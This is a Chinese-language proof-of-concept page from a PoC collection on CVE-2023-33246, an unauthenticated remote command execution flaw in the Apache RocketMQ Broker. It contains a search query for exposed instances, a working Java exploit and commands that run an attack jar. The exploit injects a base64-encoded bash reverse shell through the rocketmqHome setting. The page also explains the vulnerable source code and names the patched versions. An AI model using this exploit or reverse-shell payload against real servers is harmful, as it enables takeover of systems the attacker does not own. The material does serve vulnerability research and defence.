Awesome-POC/中间件漏洞/Apache RocketMQ Broker 远程命令执行漏洞 CVE-2023-33246.md
2025-02-10 14:01:15 +08:00

179 lines
6.5 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache RocketMQ Broker 远程命令执行漏洞 CVE-2023-33246
## 漏洞描述
Apache RocketMQ 是一个分布式消息平台。
Apache RocketMQ RocketMQ 5.1.0 及以下版本在一定条件下存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
参考链接:
- https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
- https://github.com/I5N0rth/CVE-2023-33246
- https://github.com/Le1a/CVE-2023-33246
- https://paper.seebug.org/2081/
- https://xz.aliyun.com/news/12137
- https://xz.aliyun.com/news/12035
## 漏洞影响
```
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
```
## 网络测绘
```
title="RocketMQ"
```
## 环境搭建
Vulhub 执行如下命令启动一个 RocketMQ broker 5.1.0:
```
docker compose up -d
```
环境启动后RocketMQ 的 Broker 将会监听在 10911 端口。
## 漏洞复现
使用 `IDEA``Eclipse``IDE` 新建一个 `Maven` 项目,导入依赖:
```java
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
<groupId>org.apache.rocketmq</groupId>
<artifactId>rocketmq-tools</artifactId>
<version>5.1.0</version>
</dependency>
</dependencies>
```
PoC 如下:
```java
import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;
import java.util.Base64;
import java.util.Properties;
public class Main {
private static String getCmd(String ip, String port) {
String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";
String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());
return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";
}
public static void main(String[] args) throws Exception {
String targetHost = "your-ip";
String targetPort = "10911";
String shellHost = "your-ip";
String shellPort = "12345";
String targetAddr = String.format("%s:%s",targetHost,targetPort);
Properties props = new Properties();
props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr("0.0.0.0:12345");
admin.start();
admin.updateBrokerConfig(targetAddr, props);
Properties brokerConfig = admin.getBrokerConfig(targetAddr);
System.out.println(brokerConfig.getProperty("rocketmqHome"));
System.out.println(brokerConfig.getProperty("filterServerNums"));
admin.shutdown();
}
}
```
在控制台成功输出新的配置后,请等待 30 秒左右,将会收到反连请求。
![image-20230605095851218](images/image-20230605095851218.png)
---
**2025.02.10 更新**
该漏洞存在于 RocketMQ 的 Broker 组件的配置更新功能中。Broker 组件在配置更新接口中缺乏适当的身份认证和输入验证攻击者可以修改配置值。
这个漏洞之所以特别危险,是因为 RocketMQ 的 filter server 机制。RocketMQ 每 30 秒会执行一次 filter server执行方式是通过运行 shell 命令。这个命令是通过字符串拼接构造的,其中包含了来自配置中的 `rocketmqHome` 值。由于攻击者可以控制这个配置值,且这个值在构造命令时没有经过适当的过滤,因此导致了命令注入漏洞。
我们可以使用 Vulhub 项目 [rocketmq-attack](https://github.com/vulhub/rocketmq-attack) 来复现漏洞并执行任意命令:
```shell
wget https://github.com/vulhub/rocketmq-attack/releases/download/1.0/rocketmq-attack-1.0-SNAPSHOT.jar
java -jar rocketmq-attack-1.0-SNAPSHOT.jar AttackBroker --target your-ip:10911 --cmd "touch /tmp/awesome_poc"
```
![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112146119.png)
等待最多 30 秒后,可见 `touch /tmp/success` 命令已成功执行:
![](images/Apache%20RocketMQ%20Broker%20远程命令执行漏洞%20CVE-2023-33246/image-20250210112249871.png)
## 漏洞分析
PoC 对 `filterServerNums` 属性和 `rocketmqHome` 属性进行了修改。
为什么要修改 `filterServerNums` 属性:如果配置的 `filterServerNums` 为 0计算得出的 `more` 也会是 0因此无法进入 `callShell` 方法执行命令。
```
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() -
this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
public static void callShell(final String shellString, final Logger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
```
为什么要修改 `rocketmqHome` 属性:在构建命令的时候,最终会调用 `splitShellString` 方法按照空格对参数进行分割,所以不可以是 `NamesrvAddr` 参数,只能是开头的 `rocketmqHome` 参数,但是由于参数分割规则,所以需要更严格的命令和巧妙的技巧才可以执行。
```
private String buildStartCommand() {
String config = "";
if (BrokerStartup.CONFIG_FILE_HELPER.getFile() != null) {
config = String.format("-c %s",
BrokerStartup.CONFIG_FILE_HELPER.getFile());
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s",
this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (NetworkUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
```
## 漏洞修复
目前官方已发布安全修复更新,受影响用户可以升级到 Apache RocketMQ 5.1.1 或者 4.9.6。 https://rocketmq.apache.org/download/